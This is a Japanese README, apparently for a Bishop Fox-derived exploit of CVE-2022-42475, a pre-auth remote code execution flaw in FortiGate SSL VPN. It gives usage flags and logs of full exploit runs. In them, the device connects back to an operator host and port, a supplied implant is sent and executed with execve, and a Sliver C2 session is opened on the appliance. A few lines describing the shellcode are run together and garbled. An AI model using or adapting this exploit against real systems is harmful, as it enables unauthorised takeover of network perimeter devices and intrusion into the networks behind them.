
CVE-2022-42475のエクスプロイト、Fortinetネットワーク製品における認証前のヒープオーバーフロー
これは、こちらのブログ記事(https://bishopfox.com/blog/exploit-cve-2022-42475)のエクスプロイトです。
このバージョンのエクスプロイトは、ハッカーであるあなたがROPガジェットなどに必要なメモリアドレスを提供しない限り動作しません。これらのデータを特定する作業はBishop Foxの機密情報であり、私はこのエクスプロイトと共に公開することはできません(しません)。ご理解いただけると幸いです!
execve(binary_file) を呼び出します。注記: 現時点では、「検証のみ」モードは既知のすべてのFortiOSバージョンで動作します。しかし、エクスプロイトは100Dハードウェア上のFortiOS 6.0.4 でのみ 動作します。私はもうBFで働いていないため、約18kのターゲットをサポートする拡張エクスプロイトを公開することはできません。
pip3 install PyCrypto
pip3 install pycryptodome
これは脆弱性の悪用を試みることはせず、代わりにクラッシュとしてトリガーします(リモートSSL VPNデーモンは自動的かつ即座に再起動します)。クラッシュはヒューリスティックに検出され、オペレーターに報告されます。
-v 検証フラグを使用して実行します:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 検証のみモードで実行中。RCEは行いません。
[>] ターゲットが脆弱かどうかをテスト中(10秒かかる場合があります)
[+] ターゲット '192.168.0.10:8443' は脆弱である可能性があります
これは脆弱性をトリガーし、ROPチェーンを展開し、シェルコードにジャンプします。シェルコードは良性で、次のように動作します:
0xbf を送信/tmp/x に保存0xbf を送信フラグ:
-t ターゲットホスト/IP
-p ターゲットポート
-e エクスプロイトモード
-c 接続返しのみモード
-H と -P オペレーターのIP:ポート(必須)
-s FortiOSのソフトウェアバージョン(必須)
-m FortiOSを実行しているハードウェアモデル
-d デバッグ出力を有効化
ソフトウェアバージョン 6.0.4 とアプライアンスモデル 100D の両方を選択した例:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] ペイロードを暗号化するためのランダムな128ビットAESキーを生成中
[+] ペイロードを暗号化中...
[+] キャッシュされたシェルコードを使用中。強制的にリフレッシュするには `./x.py` を編集してください( 'shellcode.s' を探してください)。
[+] 192.168.0.99:443 への接続返し用に設定
[+] 暗号化ペイロードリスナーを起動中...
[+] エクスプロイトの準備中...
[+] リクエスト送信中!
[+] 'exploit_data.json' からガジェットをインポート中
[<] リスナーがポート443にバインドされ、接続返しを待機中...
[+] ガジェットを検証中...
[!] FortiOS '5.2.14' に対して機能的なハードウェアモデルが定義されていません。削除しました。
[!] FortiOS '5.6.9' に対して機能的なハードウェアモデルが定義されていません。削除しました。
[+] 797のターゲットをインポートしました:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] エクスプロイトを開始
[<] 192.168.0.10:22470 からの着信要求
[<] ターゲットからhelloパケットを受信しました!! モデル番号: 100D
[<] 36バイトの暗号化ペイロードを送信中
[<] ペイロードの送信完了(36バイト)、応答を待機中...
[<] 192.168.0.10 から期待される応答 ('100D') を受信しました
[<] ターゲットは100%の確信度で脆弱です。
[+] すべて完了!
-m でハードウェアモデルを指定しない場合、エクスプロイトは指定されたソフトウェアバージョンに対してすべてのハードウェアターゲットを総当たりします。
0xbf を送信/tmp/x に保存0xbf バイトを送信execve("/tmp/x") を呼び出しフラグ:
-t ターゲットホスト/IP
-p ターゲットポート
-e エクスプロイトモード
-f ファイル名 ターゲット上でexecveするバイナリへのパス
-H と -P オペレーターのIP:ポート(必須)
-s FortiOSのソフトウェアバージョン(必須)
-m FortiOSを実行しているハードウェアモデル
-d デバッグ出力を有効化
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
全てのハッカーは生ける武器を得る
[*] サーバー v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Sliverシェルへようこそ。ヘルプは 'help' と入力してください
[server] sliver > mtls -l 8888
[*] mTLSリスナーを起動中...
[*] ジョブ #1 を正常に開始しました
エクスプロイト:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] エクスプロイトはターゲット上で execve("implant5") を試みます
...
[<] ターゲットは100%の確信度で脆弱です。
[+] すべて完了。
そしてSliverに戻って:
[*] セッション d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] アクティブセッション implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
ログオンID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
Sliverが <err> を返すのは、FortiOSがLinuxとだいたい似ていて、期待通りに動作しないことがあるからです。これはSliverではなくFortiOSの問題です。
私はもうBishop Foxで働いていないため、アップデートについてはBFのGitHubをフォローしてください。